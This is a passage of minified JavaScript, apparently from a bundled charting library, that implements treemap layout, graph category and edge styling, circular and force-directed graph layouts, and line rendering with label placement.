s=t.get(`visualMin`),c=t.get(`visualMax`),l=n.dataExtent.slice();s!=null&&s<l[0]&&(l[0]=s),c!=null&&c>l[1]&&(l[1]=c);var u=t.get(`colorMappingBy`),d={type:o.name,dataExtent:l,visual:o.range};d.type===`color`&&(u===`index`||u===`id`)?(d.mappingMethod=`category`,d.loop=!0):d.mappingMethod=`linear`;var f=new nR(d);return _R(f).drColorMappingBy=u,f}}}function TR(e,t){var n=e.get(t);return B(n)&&n.length?{name:t,range:n}:null}function ER(e,t,n,r,i,a){var o=F({},t);if(i){var s=i.type,c=s===`color`&&_R(i).drColorMappingBy,l=c===`index`?r:c===`id`?a.mapIdToIndex(n.getId()):n.getValue(e.get(`visualDimension`));o[s]=i.mapValueToVisual(l)}return o}var DR=Math.max,OR=Math.min,kR=Ct,AR=L,jR=[`itemStyle`,`borderWidth`],MR=[`itemStyle`,`gapWidth`],NR=[`upperLabel`,`show`],PR=[`upperLabel`,`height`],FR={seriesType:`treemap`,reset:function(e,t,n,r){var i=e.option,a=Kg(e,n).refContainer,o=Ug(e.getBoxLayoutParams(),a),s=i.size||[],c=X(kR(o.width,s[0]),a.width),l=X(kR(o.height,s[1]),a.height),u=r&&r.type,d=fL(r,[`treemapZoomToNode`,`treemapRootToNode`],e),f=u===`treemapRender`||u===`treemapMove`?r.rootRect:null,p=e.getViewRoot(),m=pL(p);if(u!==`treemapMove`){var h=u===`treemapZoomToNode`?UR(e,d,p,c,l):f?[f.width,f.height]:[c,l],g=i.sort;g&&g!==`asc`&&g!==`desc`&&(g=`desc`);var _={squareRatio:i.squareRatio,sort:g,leafDepth:i.leafDepth};p.hostTree.clearLayouts();var v={x:0,y:0,width:h[0],height:h[1],area:h[0]*h[1]};p.setLayout(v),IR(p,_,!1,0),v=p.getLayout(),AR(m,function(e,t){var n=(m[t+1]||p).getValue();e.setLayout(F({dataExtent:[n,n],borderWidth:0,upperHeight:0},v))})}var y=e.getData().tree.root;y.setLayout(WR(o,f,d),!0),e.setLayoutInfo(o),GR(y,new J(-o.x,-o.y,n.getWidth(),n.getHeight()),m,p,0)}};function IR(e,t,n,r){var i,a;if(!e.isRemoved()){var o=e.getLayout();i=o.width,a=o.height;var s=e.getModel(),c=s.get(jR),l=s.get(MR)/2,u=KR(s),d=Math.max(c,u),f=c-l,p=d-l;e.setLayout({borderWidth:c,upperHeight:d,upperLabelHeight:u},!0),i=DR(i-2*f,0),a=DR(a-f-p,0);var m=i*a,h=LR(e,s,m,t,n,r);if(h.length){var g={x:f,y:p,width:i,height:a},_=OR(i,a),v=1/0,y=[];y.area=0;for(var b=0,x=h.length;b<x;){var S=h[b];y.push(S),y.area+=S.getLayout().area;var C=VR(y,_,t.squareRatio);C<=v?(b++,v=C):(y.area-=y.pop().getLayout().area,HR(y,_,g,l,!1),_=OR(g.width,g.height),y.length=y.area=0,v=1/0)}if(y.length&&HR(y,_,g,l,!0),!n){var w=s.get(`childrenVisibleMin`);w!=null&&m<w&&(n=!0)}for(var b=0,x=h.length;b<x;b++)IR(h[b],t,n,r+1)}}}function LR(e,t,n,r,i,a){var o=e.children||[],s=r.sort;s!==`asc`&&s!==`desc`&&(s=null);var c=r.leafDepth!=null&&r.leafDepth<=a;if(i&&!c)return e.viewChildren=[];o=lt(o,function(e){return!e.isRemoved()}),zR(o,s);var l=BR(t,o,s);if(l.sum===0||(l.sum=RR(t,n,l.sum,s,o),l.sum===0))return e.viewChildren=[];for(var u=0,d=o.length;u<d;u++){var f=o[u].getValue()/l.sum*n;o[u].setLayout({area:f})}return c&&(o.length&&e.setLayout({isLeafRoot:!0},!0),o.length=0),e.viewChildren=o,e.setLayout({dataExtent:l.dataExtent},!0),o}function RR(e,t,n,r,i){if(!r)return n;for(var a=e.get(`visibleMin`),o=i.length,s=o,c=o-1;c>=0;c--){var l=i[r===`asc`?o-c-1:c].getValue();l/n*t<a&&(s=c,n-=l)}return r===`asc`?i.splice(0,o-s):i.splice(s,o-s),n}function zR(e,t){return t&&e.sort(function(e,n){var r=t===`asc`?e.getValue()-n.getValue():n.getValue()-e.getValue();return r===0?t===`asc`?e.dataIndex-n.dataIndex:n.dataIndex-e.dataIndex:r}),e}function BR(e,t,n){for(var r=0,i=0,a=t.length;i<a;i++)r+=t[i].getValue();var o=e.get(`visualDimension`),s;return!t||!t.length?s=[NaN,NaN]:o===`value`&&n?(s=[t[t.length-1].getValue(),t[0].getValue()],n===`asc`&&s.reverse()):(s=[1/0,-1/0],AR(t,function(e){var t=e.getValue(o);t<s[0]&&(s[0]=t),t>s[1]&&(s[1]=t)})),{sum:r,dataExtent:s}}function VR(e,t,n){for(var r=0,i=1/0,a=0,o=void 0,s=e.length;a<s;a++)o=e[a].getLayout().area,o&&(o<i&&(i=o),o>r&&(r=o));var c=e.area*e.area,l=t*t*n;return c?DR(l*r/c,c/(l*i)):1/0}function HR(e,t,n,r,i){var a=t===n.width?0:1,o=1-a,s=[`x`,`y`],c=[`width`,`height`],l=n[s[a]],u=t?e.area/t:0;(i||u>n[c[o]])&&(u=n[c[o]]);for(var d=0,f=e.length;d<f;d++){var p=e[d],m={},h=u?p.getLayout().area/u:0,g=m[c[o]]=DR(u-2*r,0),_=n[s[a]]+n[c[a]]-l,v=d===f-1||_<h?_:h,y=m[c[a]]=DR(v-2*r,0);m[s[o]]=n[s[o]]+OR(r,g/2),m[s[a]]=l+OR(r,y/2),l+=v,p.setLayout(m,!0)}n[s[o]]+=u,n[c[o]]-=u}function UR(e,t,n,r,i){var a=(t||{}).node,o=[r,i];if(!a||a===n)return o;for(var s,c=r*i,l=c*e.option.zoomToNodeRatio;s=a.parentNode;){for(var u=0,d=s.children,f=0,p=d.length;f<p;f++)u+=d[f].getValue();var m=a.getValue();if(m===0)return o;l*=u/m;var h=s.getModel(),g=h.get(jR),_=Math.max(g,KR(h));l+=4*g*g+(3*g+_)*l**.5,l>9007199254740991&&(l=9007199254740991),a=s}l<c&&(l=c);var v=(l/c)**.5;return[r*v,i*v]}function WR(e,t,n){if(t)return{x:t.x,y:t.y};var r={x:0,y:0};if(!n)return r;var i=n.node,a=i.getLayout();if(!a)return r;for(var o=[a.width/2,a.height/2],s=i;s;){var c=s.getLayout();o[0]+=c.x,o[1]+=c.y,s=s.parentNode}return{x:e.width/2-o[0],y:e.height/2-o[1]}}function GR(e,t,n,r,i){var a=e.getLayout(),o=n[i],s=o&&o===e;if(!(o&&!s||i===n.length&&e!==r)){e.setLayout({isInView:!0,invisible:!s&&!t.intersect(a),isAboveViewRoot:s},!0);var c=new J(t.x-a.x,t.y-a.y,t.width,t.height);AR(e.viewChildren||[],function(e){GR(e,c,n,r,i+1)})}}function KR(e){return e.get(NR)?e.get(PR):0}function qR(e){e.registerSeriesModel(DL),e.registerChartView(YL),e.registerVisual(vR),e.registerLayout(FR),TL(e)}function JR(e){var t=e.findComponents({mainType:`legend`});!t||!t.length||e.eachSeriesByType(`graph`,function(e){var n=e.getCategoriesData(),r=e.getGraph().data,i=n.mapArray(n.getName);r.filterSelf(function(e){var n=r.getItemModel(e).getShallow(`category`);if(n!=null){ht(n)&&(n=i[n]);for(var a=0;a<t.length;a++)if(!t[a].isSelected(n))return!1}return!0})})}function YR(e){var t={};e.eachSeriesByType(`graph`,function(e){var n=e.getCategoriesData(),r=e.getData(),i={};n.each(function(r){var a=n.getName(r);i[`ec-`+a]=r;var o=n.getItemModel(r),s=o.getModel(`itemStyle`).getItemStyle();s.fill||=e.getColorFromPalette(a,t),n.setItemVisual(r,`style`,s);for(var c=[`symbol`,`symbolSize`,`symbolKeepAspect`],l=0;l<c.length;l++){var u=o.getShallow(c[l],!0);u!=null&&n.setItemVisual(r,c[l],u)}}),n.count()&&r.each(function(e){var t=r.getItemModel(e).getShallow(`category`);if(t!=null){H(t)&&(t=i[`ec-`+t]);var a=n.getItemVisual(t,`style`);F(r.ensureUniqueItemVisual(e,`style`),a);for(var o=[`symbol`,`symbolSize`,`symbolKeepAspect`],s=0;s<o.length;s++)r.setItemVisual(e,o[s],n.getItemVisual(t,o[s]))}})})}function XR(e){return e instanceof Array||(e=[e,e]),e}function ZR(e){e.eachSeriesByType(`graph`,function(e){var t=e.getGraph(),n=e.getEdgeData(),r=XR(e.get(`edgeSymbol`)),i=XR(e.get(`edgeSymbolSize`));n.setVisual(`fromSymbol`,r&&r[0]),n.setVisual(`toSymbol`,r&&r[1]),n.setVisual(`fromSymbolSize`,i&&i[0]),n.setVisual(`toSymbolSize`,i&&i[1]),n.setVisual(`style`,e.getModel(`lineStyle`).getLineStyle()),n.each(function(e){var r=n.getItemModel(e),i=t.getEdgeByIndex(e),a=XR(r.getShallow(`symbol`,!0)),o=XR(r.getShallow(`symbolSize`,!0)),s=r.getModel(`lineStyle`).getLineStyle(),c=n.ensureUniqueItemVisual(e,`style`);switch(F(c,s),c.stroke){case`source`:var l=i.node1.getVisual(`style`);c.stroke=l&&l.fill;break;case`target`:var l=i.node2.getVisual(`style`);c.stroke=l&&l.fill;break}a[0]&&i.setVisual(`fromSymbol`,a[0]),a[1]&&i.setVisual(`toSymbol`,a[1]),o[0]&&i.setVisual(`fromSymbolSize`,o[0]),o[1]&&i.setVisual(`toSymbolSize`,o[1])})})}var QR=`-->`,$R=function(e){return e.get(`autoCurveness`)||null},ez=function(e,t){var n=$R(e),r=20,i=[];if(ht(n))r=n;else if(B(n)){e.__curvenessList=n;return}t>r&&(r=t);var a=r%2?r+2:r+3;i=[];for(var o=0;o<a;o++)i.push((o%2?o+1:o)/10*(o%2?-1:1));e.__curvenessList=i},tz=function(e,t,n){var r=[e.id,e.dataIndex].join(`.`),i=[t.id,t.dataIndex].join(`.`);return[n.uid,r,i].join(QR)},nz=function(e){var t=e.split(QR);return[t[0],t[2],t[1]].join(QR)},rz=function(e,t){var n=tz(e.node1,e.node2,t);return t.__edgeMap[n]},iz=function(e,t){return az(tz(e.node1,e.node2,t),t)+az(tz(e.node2,e.node1,t),t)},az=function(e,t){var n=t.__edgeMap;return n[e]?n[e].length:0};function oz(e){$R(e)&&(e.__curvenessList=[],e.__edgeMap={},ez(e))}function sz(e,t,n,r){if($R(n)){var i=tz(e,t,n),a=n.__edgeMap,o=a[nz(i)];a[i]&&!o?a[i].isForward=!0:o&&a[i]&&(o.isForward=!0,a[i].isForward=!1),a[i]=a[i]||[],a[i].push(r)}}function cz(e,t,n,r){var i=$R(t),a=B(i);if(!i)return null;var o=rz(e,t);if(!o)return null;for(var s=-1,c=0;c<o.length;c++)if(o[c]===n){s=c;break}var l=iz(e,t);ez(t,l),e.lineStyle=e.lineStyle||{};var u=tz(e.node1,e.node2,t),d=t.__curvenessList,f=a||l%2?0:1;if(o.isForward)return d[f+s];var p=az(nz(u),t),m=d[s+p+f];return r?a?i&&i[0]===0?(p+f)%2?m:-m:((p%2?0:1)+f)%2?m:-m:(p+f)%2?m:-m:d[s+p+f]}function lz(e){var t=e.coordinateSystem;if(!(t&&t.type!==`view`)){var n=e.getGraph();n.eachNode(function(e){var t=e.getModel();e.setLayout([+t.get(`x`),+t.get(`y`)])}),uz(n,e)}}function uz(e,t){e.eachEdge(function(e,n){var r=wt(e.getModel().get([`lineStyle`,`curveness`]),-cz(e,t,n,!0),0),i=Ut(e.node1.getLayout()),a=Ut(e.node2.getLayout()),o=[i,a];+r&&o.push([(i[0]+a[0])/2-(i[1]-a[1])*r,(i[1]+a[1])/2-(a[0]-i[0])*r]),e.setLayout(o)})}function dz(e,t){e.eachSeriesByType(`graph`,function(e){var t=e.get(`layout`),n=e.coordinateSystem;if(n&&n.type!==`view`){var r=e.getData(),i=[];L(n.dimensions,function(e){i=i.concat(r.mapDimensionsAll(e))});for(var a=0;a<r.count();a++){for(var o=[],s=!1,c=0;c<i.length;c++){var l=r.get(i[c],a);isNaN(l)||(s=!0),o.push(l)}s?r.setItemLayout(a,n.dataToPoint(o)):r.setItemLayout(a,[NaN,NaN])}uz(r.graph,e)}else (!t||t===`none`)&&lz(e)})}function fz(e){var t=e.coordinateSystem;if(t.type!==`view`)return 1;var n=e.option.nodeScaleRatio,r=t.scaleX;return((t.getZoom()-1)*n+1)/r}function pz(e){var t=e.getVisual(`symbolSize`);return t instanceof Array&&(t=(t[0]+t[1])/2),+t}var mz=Math.PI,hz=[];function gz(e,t,n,r){var i=e.coordinateSystem;if(!(i&&i.type!==`view`)){var a=i.getBoundingRect(),o=e.getData(),s=o.graph,c=a.width/2+a.x,l=a.height/2+a.y,u=Math.min(a.width,a.height)/2,d=o.count();if(o.setLayout({cx:c,cy:l}),d){if(n){var f=i.pointToData(r),p=f[0],m=f[1],h=[p-c,m-l];Zt(h,h),Xt(h,h,u),n.setLayout([c+h[0],l+h[1]],!0),vz(n,e.get([`circular`,`rotateLabel`]),c,l)}_z[t](e,s,o,u,c,l,d),s.eachEdge(function(t,n){var r=wt(t.getModel().get([`lineStyle`,`curveness`]),cz(t,e,n),0),i=Ut(t.node1.getLayout()),a=Ut(t.node2.getLayout()),o,s=(i[0]+a[0])/2,u=(i[1]+a[1])/2;+r&&(r*=3,o=[c*r+s*(1-r),l*r+u*(1-r)]),t.setLayout([i,a,o])})}}}var _z={value:function(e,t,n,r,i,a,o){var s=0,c=n.getSum(`value`),l=Math.PI*2/(c||o);t.eachNode(function(e){var t=e.getValue(`value`),n=l*(c?t:1)/2;s+=n,e.setLayout([r*Math.cos(s)+i,r*Math.sin(s)+a]),s+=n})},symbolSize:function(e,t,n,r,i,a,o){var s=0;hz.length=o;var c=fz(e);t.eachNode(function(e){var t=pz(e);isNaN(t)&&(t=2),t<0&&(t=0),t*=c;var n=Math.asin(t/2/r);isNaN(n)&&(n=mz/2),hz[e.dataIndex]=n,s+=n*2});var l=(2*mz-s)/o/2,u=0;t.eachNode(function(e){var t=l+hz[e.dataIndex];u+=t,(!e.getLayout()||!e.getLayout().fixed)&&e.setLayout([r*Math.cos(u)+i,r*Math.sin(u)+a]),u+=t})}};function vz(e,t,n,r){var i=e.getGraphicEl();if(i){var a=e.getModel().get([`label`,`rotate`])||0,o=i.getSymbolPath();if(t){var s=e.getLayout(),c=Math.atan2(s[1]-r,s[0]-n);c<0&&(c=Math.PI*2+c);var l=s[0]<n;l&&(c-=Math.PI);var u=l?`left`:`right`;o.setTextConfig({rotation:-c,position:u,origin:`center`});var d=o.ensureState(`emphasis`);F(d.textConfig||={},{position:u})}else o.setTextConfig({rotation:a*=Math.PI/180})}}function yz(e){e.eachSeriesByType(`graph`,function(e){e.get(`layout`)===`circular`&&gz(e,`symbolSize`)})}var bz=Kt;function xz(e,t,n){for(var r=e,i=t,a=n.rect,o=a.width,s=a.height,c=[a.x+o/2,a.y+s/2],l=n.gravity==null?.1:n.gravity,u=0;u<r.length;u++){var d=r[u];d.p||=Vt(o*(Math.random()-.5)+c[0],s*(Math.random()-.5)+c[1]),d.pp=Ut(d.p),d.edges=null}var f=n.friction==null?.6:n.friction,p=f,m,h;return{warmUp:function(){p=f*.8},setFixed:function(e){r[e].fixed=!0},setUnfixed:function(e){r[e].fixed=!1},beforeStep:function(e){m=e},afterStep:function(e){h=e},step:function(e){m&&m(r,i);for(var t=[],n=r.length,a=0;a<i.length;a++){var o=i[a];if(!o.ignoreForceLayout){var s=o.n1,u=o.n2;qt(t,u.p,s.p);var d=Jt(t)-o.d,f=u.w/(s.w+u.w);isNaN(f)&&(f=0),Zt(t,t),!s.fixed&&bz(s.p,s.p,t,f*d*p),!u.fixed&&bz(u.p,u.p,t,-(1-f)*d*p)}}for(var a=0;a<n;a++){var g=r[a];g.fixed||(qt(t,c,g.p),bz(g.p,g.p,t,l*p))}for(var a=0;a<n;a++)for(var s=r[a],_=a+1;_<n;_++){var u=r[_];qt(t,u.p,s.p);var d=Jt(t);d===0&&(Wt(t,Math.random()-.5,Math.random()-.5),d=1);var v=(s.rep+u.rep)/d/d;!s.fixed&&bz(s.pp,s.pp,t,v),!u.fixed&&bz(u.pp,u.pp,t,-v)}for(var y=[],a=0;a<n;a++){var g=r[a];g.fixed||(qt(y,g.p,g.pp),bz(g.p,g.p,y,p),Ht(g.pp,g.p))}p*=.992;var b=p<.01;h&&h(r,i,b),e&&e(b)}}}function Sz(e){e.eachSeriesByType(`graph`,function(e){var t=e.coordinateSystem;if(!(t&&t.type!==`view`))if(e.get(`layout`)===`force`){var n=e.preservedPoints||{},r=e.getGraph(),i=r.data,a=r.edgeData,o=e.getModel(`force`),s=o.get(`initLayout`);e.preservedPoints?i.each(function(e){var t=i.getId(e);i.setItemLayout(e,n[t]||[NaN,NaN])}):!s||s===`none`?lz(e):s===`circular`&&gz(e,`value`);var c=i.getDataExtent(`value`),l=a.getDataExtent(`value`),u=o.get(`repulsion`),d=o.get(`edgeLength`),f=B(u)?u:[u,u],p=B(d)?d:[d,d];p=[p[1],p[0]];var m=i.mapArray(`value`,function(e,t){var n=i.getItemLayout(t),r=as(e,c,f);return isNaN(r)&&(r=(f[0]+f[1])/2),{w:r,rep:r,fixed:i.getItemModel(t).get(`fixed`),p:!n||isNaN(n[0])||isNaN(n[1])?null:n}}),h=xz(m,a.mapArray(`value`,function(t,n){var i=r.getEdgeByIndex(n),a=as(t,l,p);isNaN(a)&&(a=(p[0]+p[1])/2);var o=i.getModel(),s=wt(i.getModel().get([`lineStyle`,`curveness`]),-cz(i,e,n,!0),0);return{n1:m[i.node1.dataIndex],n2:m[i.node2.dataIndex],d:a,curveness:s,ignoreForceLayout:o.get(`ignoreForceLayout`)}}),{rect:t.getBoundingRect(),gravity:o.get(`gravity`),friction:o.get(`friction`)});h.beforeStep(function(e,t){for(var n=0,i=e.length;n<i;n++)e[n].fixed&&Ht(e[n].p,r.getNodeByIndex(n).getLayout())}),h.afterStep(function(e,t,a){for(var o=0,s=e.length;o<s;o++)e[o].fixed||r.getNodeByIndex(o).setLayout(e[o].p),n[i.getId(o)]=e[o].p;for(var o=0,s=t.length;o<s;o++){var c=t[o],l=r.getEdgeByIndex(o),u=c.n1.p,d=c.n2.p,f=l.getLayout();f=f?f.slice():[],f[0]=f[0]||[],f[1]=f[1]||[],Ht(f[0],u),Ht(f[1],d),+c.curveness&&(f[2]=[(u[0]+d[0])/2-(u[1]-d[1])*c.curveness,(u[1]+d[1])/2-(d[0]-u[0])*c.curveness]),l.setLayout(f)}}),e.forceLayout=h,e.preservedPoints=n,h.step()}else e.forceLayout=null})}function Cz(e,t,n){var r=Kg(e,t);return Wg(e,Ug(F(e.getBoxLayoutParams(),{aspect:n}),r.refContainer),n)}function wz(e,t){var n=[];return e.eachSeriesByType(`graph`,function(r){Ng({targetModel:r,coordSysType:`view`,coordSysProvider:i,isDefaultDataCoordSys:!0});function i(){var i=r.getData(),a=i.mapArray(function(e){var t=i.getItemModel(e);return[+t.get(`x`),+t.get(`y`)]}),o=[],s=[];Dl(a,o,s),s[0]-o[0]===0&&(s[0]+=1,--o[0]),s[1]-o[1]===0&&(s[1]+=1,--o[1]);var c=(s[0]-o[0])/(s[1]-o[1]),l=Cz(r,t,c);isNaN(c)&&(o=[l.x,l.y],s=[l.x+l.width,l.y+l.height]);var u=s[0]-o[0],d=s[1]-o[1],f=new _I(null,{api:t,ecModel:e});return f.zoomLimit=r.get(`scaleLimit`),f.setBoundingRect(o[0],o[1],u,d),f.setViewRect(l.x,l.y,l.width,l.height),f.setCenter(r.get(`center`)),f.setZoom(r.get(`zoom`)),n.push(f),f}}),n}var Tz=fp.prototype,Ez=gp.prototype,Dz=function(){function e(){this.x1=0,this.y1=0,this.x2=0,this.y2=0,this.percent=1}return e}();(function(e){N(t,e);function t(){return e!==null&&e.apply(this,arguments)||this}return t})(Dz);function Oz(e){return isNaN(+e.cpx1)||isNaN(+e.cpy1)}var kz=function(e){N(t,e);function t(t){var n=e.call(this,t)||this;return n.type=`ec-line`,n}return t.prototype.getDefaultStyle=function(){return{stroke:Q.color.neutral99,fill:null}},t.prototype.getDefaultShape=function(){return new Dz},t.prototype.buildPath=function(e,t){Oz(t)?Tz.buildPath.call(this,e,t):Ez.buildPath.call(this,e,t)},t.prototype.pointAt=function(e){return Oz(this.shape)?Tz.pointAt.call(this,e):Ez.pointAt.call(this,e)},t.prototype.tangentAt=function(e){var t=this.shape,n=Oz(t)?[t.x2-t.x1,t.y2-t.y1]:Ez.tangentAt.call(this,e);return Zt(n,n)},t}(Cu),Az=[`fromSymbol`,`toSymbol`];function jz(e){return`_`+e+`Type`}function Mz(e,t,n){var r=t.getItemVisual(n,e);if(!r||r===`none`)return r;var i=t.getItemVisual(n,e+`Size`),a=t.getItemVisual(n,e+`Rotate`),o=t.getItemVisual(n,e+`Offset`),s=t.getItemVisual(n,e+`KeepAspect`),c=Vx(i),l=Hx(o||0,c);return r+c+l+(a||``)+(s||``)}function Nz(e,t,n){var r=t.getItemVisual(n,e);if(!(!r||r===`none`)){var i=t.getItemVisual(n,e+`Size`),a=t.getItemVisual(n,e+`Rotate`),o=t.getItemVisual(n,e+`Offset`),s=t.getItemVisual(n,e+`KeepAspect`),c=Vx(i),l=Hx(o||0,c),u=Bx(r,-c[0]/2+l[0],-c[1]/2+l[1],c[0],c[1],null,s);return u.__specifiedRotation=a==null||isNaN(a)?void 0:+a*Math.PI/180||0,u.name=e,u}}function Pz(e){var t=new kz({name:`line`,subPixelOptimize:!0});return Fz(t.shape,e),t}function Fz(e,t){e.x1=t[0][0],e.y1=t[0][1],e.x2=t[1][0],e.y2=t[1][1],e.percent=1;var n=t[2];n?(e.cpx1=n[0],e.cpy1=n[1]):(e.cpx1=NaN,e.cpy1=NaN)}var Iz=function(e){N(t,e);function t(t,n,r){var i=e.call(this)||this;return i._createLine(t,n,r),i}return t.prototype._createLine=function(e,t,n){var r=e.hostModel,i=e.getItemLayout(t),a=e.getItemVisual(t,`z2`),o=Pz(i);o.shape.percent=0,Rp(o,{z2:W(a,0),shape:{percent:1}},r,t),this.add(o),L(Az,function(n){var r=Nz(n,e,t);this.add(r),this[jz(n)]=Mz(n,e,t)},this),this._updateCommonStl(e,t,n)},t.prototype.updateData=function(e,t,n){var r=e.hostModel,i=this.childOfName(`line`),a=e.getItemLayout(t),o={shape:{}};Fz(o.shape,a),Lp(i,o,r,t),L(Az,function(n){var r=Mz(n,e,t),i=jz(n);if(this[i]!==r){this.remove(this.childOfName(n));var a=Nz(n,e,t);this.add(a)}this[i]=r},this),this._updateCommonStl(e,t,n)},t.prototype.getLinePath=function(){return this.childAt(0)},t.prototype._updateCommonStl=function(e,t,n){var r=e.hostModel,i=this.childOfName(`line`),a=n&&n.emphasisLineStyle,o=n&&n.blurLineStyle,s=n&&n.selectLineStyle,c=n&&n.labelStatesModels,l=n&&n.emphasisDisabled,u=n&&n.focus,d=n&&n.blurScope;if(!n||e.hasItemOption){var f=e.getItemModel(t),p=f.getModel(`emphasis`);a=p.getModel(`lineStyle`).getLineStyle(),o=f.getModel([`blur`,`lineStyle`]).getLineStyle(),s=f.getModel([`select`,`lineStyle`]).getLineStyle(),l=p.get(`disabled`),u=p.get(`focus`),d=p.get(`blurScope`),c=zm(f)}var m=e.getItemVisual(t,`style`),h=m.stroke;i.useStyle(m),i.style.fill=null,i.style.strokeNoScale=!0,i.ensureState(`emphasis`).style=a,i.ensureState(`blur`).style=o,i.ensureState(`select`).style=s,L(Az,function(e){var t=this.childOfName(e);if(t){t.setColor(h),t.style.opacity=m.opacity;for(var n=0;n<sd.length;n++){var r=sd[n],a=i.getState(r);if(a){var o=a.style||{},s=t.ensureState(r),c=s.style||={};o.stroke!=null&&(c[t.__isEmptyBrush?`stroke`:`fill`]=o.stroke),o.opacity!=null&&(c.opacity=o.opacity)}}t.markRedraw()}},this);var g=r.getRawValue(t);Rm(this,c,{labelDataIndex:t,labelFetcher:{getFormattedLabel:function(t,n){return r.getFormattedLabel(t,n,e.dataType)}},inheritColor:h||Q.color.neutral99,defaultOpacity:m.opacity,defaultText:(g==null?e.getName(t):isFinite(g)?cs(g):g)+``});var _=this.getTextContent();if(_){var v=c.normal;_.__align=_.style.align,_.__verticalAlign=_.style.verticalAlign,_.__position=v.get(`position`)||`middle`;var y=v.get(`distance`);B(y)||(y=[y,y]),_.__labelDistance=y}this.setTextConfig({position:null,local:!0,inside:!1}),$d(this,u,d,l)},t.prototype.highlight=function(){Pd(this)},t.prototype.downplay=function(){Fd(this)},t.prototype.updateLayout=function(e,t){this.setLinePoints(e.getItemLayout(t))},t.prototype.setLinePoints=function(e){var t=this.childOfName(`line`);Fz(t.shape,e),t.dirty()},t.prototype.beforeUpdate=function(){var e=this,t=e.childOfName(`fromSymbol`),n=e.childOfName(`toSymbol`),r=e.getTextContent();if(!t&&!n&&(!r||r.ignore))return;for(var i=1,a=this.parent;a;)a.scaleX&&(i/=a.scaleX),a=a.parent;var o=e.childOfName(`line`);if(!this.__dirty&&!o.__dirty)return;var s=o.shape.percent,c=o.pointAt(0),l=o.pointAt(s),u=qt([],l,c);Zt(u,u);function d(e,t){var n=e.__specifiedRotation;if(n==null){var r=o.tangentAt(t);e.attr(`rotation`,(t===1?-1:1)*Math.PI/2-Math.atan2(r[1],r[0]))}else e.attr(`rotation`,n)}if(t&&(t.setPosition(c),d(t,0),t.scaleX=t.scaleY=i*s,t.markRedraw()),n&&(n.setPosition(l),d(n,1),n.scaleX=n.scaleY=i*s,n.markRedraw()),r&&!r.ignore){r.x=r.y=0,r.originX=r.originY=0;var f=void 0,p=void 0,m=r.__labelDistance,h=m[0]*i,g=m[1]*i,_=s/2,v=o.tangentAt(_),y=[v[1],-v[0]],b=o.pointAt(_);y[1]>0&&(y[0]=-y[0],y[1]=-y[1]);var x=v[0]<0?-1:1;if(r.__position!==`start`&&r.__position!==`end`){var S=-Math.atan2(v[1],v[0]);l[0]<c[0]&&(S=Math.PI+S),r.rotation=S}var C=void 0;switch(r.__position){case`insideStartTop`:case`insideMiddleTop`:case`insideEndTop`:case`middle`:C=-g,p=`bottom`;break;case`insideStartBottom`:case`insideMiddleBottom`:case`insideEndBottom`:C=g,p=`top`;break;default:C=0,p=`middle`}switch(r.__position){case`end`:r.x=u[0]*h+l[0],r.y=u[1]*g+l[1],f=u[0]>.8?`left`:u[0]<-.8?`right`:`center`,p=u[1]>.8?`top`:u[1]<-.8?`bottom`:`middle`;break;case`start`:r.x=-u[0]*h+c[0],r.y=-u[1]*g+c[1],f=u[0]>.8?`right`:u[0]<-.8?`left`:`center`,p=u[1]>.8?`bottom`:u[1]<-.8?`top`:`middle`;break;case`insideStartTop`:case`insideStart`:case`insideStartBottom`:r.x=h*x+c[0],r.y=c[1]+C,f=v[0]<0?`right`:`left`,r.originX=-h*x,r.originY=-C;break;case`insideMiddleTop`:case`insideMiddle`:case`insideMiddleBottom`:case`middle`:r.x=b[0],r.y=b[1]+C,f=`center`,r.originY=-C;break;case`insideEndTop`:case`insideEnd`:case`insideEndBottom`:r.x=-h*x+l[0],r.y=l[1]+C,f=v[0]>=0?`right`:`left`,r.originX=h*x,r.originY=-C;break}r.scaleX=r.scaleY=i,r.setStyle({verticalAlign:r.__verticalAlign||p,align:r.__align||f})}},t}(Y),Lz=function(){function e(e){this.group=new Y,this._LineCtor=e||Iz}return e.prototype.updateData=function(e){var t=this;this._progressiveEls=null;var n=this,r=n.group,i=n._lineData;n._lineData=e,i||r.removeAll();var a=zz(e);e.diff(i).add(function(n){t._doAdd(e,n,a)}).update(function(n,r){t._doUpdate(i,e,r,n,a)}).remove(function(e){r.remove(i.getItemGraphicEl(e))}).execute()},e.prototype.updateLayout=function(){var e=this._lineData;e&&e.eachItemGraphicEl(function(t,n){t.updateLayout(e,n)},this)},e.prototype.incrementalPrepareUpdate=function(e){this._seriesScope=zz(e),this._lineData=null,this.group.removeAll()},e.prototype.incrementalUpdate=function(e,t){this._progressiveEls=[];function n(e){!e.isGroup&&!Rz(e)&&(e.incremental=!0,e.ensureState(`emphasis`).hoverLayer=!0)}for(var r=e.start;r<e.end;r++)if(Vz(t.getItemLayout(r))){var i=new this._LineCtor(t,r,this._seriesScope);i.traverse(n),this.group.add(i),t.setItemGraphicEl(r,i),this._progressiveEls.push(i)}},e.prototype.remove=function(){this.group.removeAll()},e.prototype.eachRendered=function(e){Em(this._progressiveEls||this.group,e)},e.prototype._doAdd=function(e,t,n){if(Vz(e.getItemLayout(t))){var r=new this._LineCtor(e,t,n);e.setItemGraphicEl(t,r),this.group.add(r)}},e.prototype._doUpdate=function(e,t,n,r,i){var a=e.getItemGraphicEl(n);if(!Vz(t.getItemLayout(r))){this.group.remove(a);return}a?a.updateData(t,r,i):a=new this._LineCtor(t,r,i),t.setItemGraphicEl(r,a),this.group.add(a)},e}();function Rz(e){return e.animators&&e.animators.length>0}function zz(e){var t=e.hostModel,n=t.getModel(`emphasis`);return{lineStyle:t.getModel(`lineStyle`).getLineStyle(),emphasisLineStyle:n.getModel([`lineStyle`]).getLineStyle(),blurLineStyle:t.getModel([`blur`,`lineStyle`]).getLineStyle(),selectLineStyle:t.getModel([`select`,`lineStyle`]).getLineStyle(),emphasisDisabled:n.get(`disabled`),blurScope:n.get(`blurScope`),focus:n.get(`focus`),labelStatesModels:zm(t)}}function Bz(e){return isNaN(e[0])||isNaN(e[1])}function Vz(e){return e&&!Bz(e[0])&&!Bz(e[1])}var Hz=[],Uz=[],Wz=[],Gz=ri,Kz=tn,qz=Math.abs;function Jz(e,t,n){for(var r=e[0],i=e[1],a=e[2],o=1/0,s,c=n*n,l=.1,u=.1;u<=.9;u+=.1){Hz[0]=Gz(r[0],i[0],a[0],u),Hz[1]=Gz(r[1],i[1],a[1],u);var d=qz(Kz(Hz,t)-c);d<o&&(o=d,s=u)}for(var f=0;f<32;f++){var 